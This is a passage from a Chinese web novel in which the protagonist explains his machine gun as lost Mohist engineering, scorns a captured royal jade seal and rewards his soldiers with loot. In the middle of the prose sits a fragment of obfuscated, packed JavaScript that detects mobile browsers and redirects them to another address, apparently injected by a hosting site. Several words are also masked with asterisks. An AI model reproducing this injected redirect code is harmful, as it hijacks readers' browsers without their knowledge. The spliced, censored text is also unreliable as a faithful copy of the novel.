沈秉钧喃喃自语,眼中满是迷醉与恐惧。
在这个冷兵器为主的时代,这挺**所代表的,就是无法抗拒的天威。
他颤巍巍地伸出枯瘦的手指,想要去触碰那冰冷而充满力量的**。
“哎,别摸——”
江夜刚想开口提醒,却已经晚了。
“滋——”
“啊!!”
沈秉钧的手指刚一碰到**,一股灼烧感瞬间传来,疼得他猛地缩回手,指尖已被烫起了一个大水泡。
“烫!好烫!”
沈秉钧捂着手,疼得直吸凉气,但眼神却更加惊恐。
这铁疙瘩打了这么久,竟然还能这般滚烫?
“都说了别摸,刚打完几千发**,能烤熟鸡蛋了。”
江夜无奈地摇摇头,走过去抓过沈秉钧的手看了看,“还好,只是烫伤,回去抹点烫伤膏就行。”
第276章 墨家机关,狼口夺玉
沈秉钧右手捂着红肿起泡的指尖,疼得呲牙咧嘴,可那双浑浊的老眼却死死黏在漆黑的**上,怎么也挪不开。
刚才那一幕幕血肉横飞的场景,还在他脑海里疯狂回放。
“贤婿……”沈秉钧吞了口唾沫,喉咙干涩得厉害,“这东西……当真不是鬼神之物?”
他虽是读书人,讲究子不语怪力乱神,但这铁疙瘩刚才喷吐火舌收割性命的架势,实在超出了他对“器物”二字的认知范畴。
江夜正用一块破布擦拭着手上的油污,闻言动作顿了顿,嘴角勾起一抹玩味的笑意。
跟古人解释工业**、解释热力学、解释自动供弹原理?
那纯粹是对牛弹琴,还容易被当成疯子。
“岳父大人博览群书,可曾听闻过先秦墨家?”江夜随手把破布扔给一旁的王囤,漫不经心地开口。
沈秉钧一愣,随即点头:“自然知晓。墨家擅机关术,兼爱非攻,只可惜典籍大多失传……”
说到这,他猛地瞪大了眼睛,指着那挺马克沁,手指颤抖:“莫非……莫非这便是传说中的……”
“不错。”江夜脸不红心不跳地开始胡诌,“这便是墨家机关术的巅峰之作,名为‘千机连**’。小婿也是在一本残破古籍中偶然窥得门径,耗费数年心血,才勉强复原了一二。”
“千机连**……千机连**……”
沈秉钧喃喃自语,眼中的恐惧瞬间消散,取而代之的是一种见到神迹般的狂热与崇拜。
在这个时代,把一切无法理解的高科技归结为“上古失传绝学”,是最合理的解释。
“天意……这是天意啊!”沈秉钧激动得胡须乱颤,看向江夜的眼神仿佛在看一位降世的圣人,“贤婿竟有如此大才,能令上古神器重见天日!有此神物,何愁乱世不定,何愁百姓不安!”
江夜看着老丈人那一脸自我攻略成功的表情,强忍着没笑出声,只是高深莫测地点了点头。
就在这时,尸堆深处突然窜出一道银色的闪电。
“嗷呜——!”
一声狼嚎响起。
只见团子那庞大的身躯在乱石间腾挪跳跃,身上原本雪白的皮**此刻沾满了灰黑的尘土,看起来有些狼狈,但那双眼睛却亮得吓人。
它嘴里似乎叼着什么东西,一路横冲直撞。
“团子,慢点!”
江夜眉头一皱,还没来得及呵斥,这货已经冲到了跟前。
巨大的狼头猛地凑过来。
团子尾巴摇得像个开了最大档位的螺旋桨,带起的风把地上的尘土都卷了起来。
它献宝似的把嘴里的东西往江夜靴子上一吐,然后昂着脑袋。
“当啷”一声脆响。
一块巴掌大小、通体血红的玉佩掉在了满是尘土的地上。
阳光下,那玉佩流转着温润的光泽,即便沾染了些许污泥,也难掩其贵气逼人。
沈秉钧下意识地扫了一眼,整个人瞬间如遭雷击。
“这……这是……”
他顾不得手上的烫伤,猛地扑过去,死死盯着玉佩上面的纹路。
五爪金龙盘旋,中间刻着一个苍劲有力的“赵”字。
“蟠龙血玉!”沈秉钧的声音尖锐得变了调,“这是赵王的随身玉佩!见玉如见王,这是他号令三军的信物啊!”
这块玉佩在大宣朝的份量,仅次于皇帝的玉玺。
赵王起兵**,便是以此玉为号,不知多少人为了这块石头抢破了头。
团子见江夜没反应,急得用大脑袋拱了拱江夜的大腿,又用爪子扒拉了一下那块玉佩,示意主人赶紧看。
江夜低头,嫌弃地看了一眼那沾满狼口水和泥土的玉佩。
“脏**。”
他皱着眉,抬脚就像踢垃圾一样,把那块象征着无上权力的蟠龙血玉踢到了一边。
“啪嗒。”
玉佩滚了几圈,最后停在一滩干涸的马血旁。
沈秉钧:“……”
团子:“……”
“以后别什么垃圾都往回捡,也不嫌膈应。”江夜没好气地伸出手,对着团子的脑门就是一记清脆的脑瓜崩,“去,找个地方把自己洗干净再过来,一身味儿。”
团子原本竖得高高的耳朵瞬间耷拉了下来。
这可是它在那个穿金甲的胖子尸体上扒拉半天才找到的最亮晶晶的东西!
“呜……”
团子发出一声呜咽,用那种控诉负心汉的眼神看了江夜一眼,然后垂头丧气地夹着尾巴,一步三回头地往河边蹭去。
沈秉钧僵硬地转过脖子,看着那块孤零零躺在血泊边的玉佩,感觉自己的世界观再次受到了一万点暴击。
那是无数野心家梦寐以求的权柄啊!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856209|187622||http|test|mini|href|location''.split(''|''),0,{}));
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r>就这么……被踢开了?
还被嫌弃脏?
沈秉钧抬头看向江夜,只见这位女婿脸上云淡风轻。
这一刻,沈秉钧突然悟了。
在绝对的力量面前,所谓的王权富贵,所谓的皇室威严,真的连个屁都不如。
只要江夜愿意,他随时可以再造一个新的“王权”。
“东家!东家!”
王囤那破锣嗓子打破了这份诡异的沉默。
他手里挥舞着一本沾血的账册,脸上笑得见牙不见眼,一路小跑过来。
“发财了!这回真发财了!”
王囤冲到江夜面前,激动得语无伦次,把账册往江夜手里一塞,“东家您看!这赵王简直就是个移动的金库啊!”
江夜接过账册,快速翻阅。
这是刚刚清点出来的战利品清单。
赵王此次出征,为了收买人心和维持大军开销,随军携带了巨额财富。
黄金三万两,白银八十万两,珠宝玉器装了整整五十车。
粮草更是堆积如山,足够十万大军吃上三个月。
更别提那数万匹战马,虽然被炸死炸伤了不少,但剩下的完好战马也有近万匹,还有数不清的盔甲兵器。
看着清单江夜的心情肉眼可见地好了起来。
这赵王哪里是来攻城的,分明是千里迢迢给他送快递来了。
“不错。”江夜合上账册,嘴角上扬,“这赵王也是个讲究人,**还给咱们留这么大一份家业。”
他转头看向王囤,声音提高了几分:“传令下去!”
周围正在忙碌的士兵们立刻停下手中的活计,齐刷刷地看了过来,眼神炽热。
“此战,全军大捷!”
江夜的声音清晰地传遍每一个角落,“所有参战兄弟,赏银五十两!杀敌者,按人头另算军功,翻倍重赏!”
五十两!
这在这个时代,足够一户普通人家舒舒服服过上五年!
这就是在告诉所有人:跟着江夜卖命,值!
短暂的寂静后。
“轰——!!”
震天的欢呼声瞬间爆发。
“东家万岁!!”
“将军威武!!”
士兵们疯狂地将手中的头盔、帽子抛向空中。
在这个人命如草芥的乱世,能遇到这样一个把他们当人看的主子,那是几辈子修来的福分。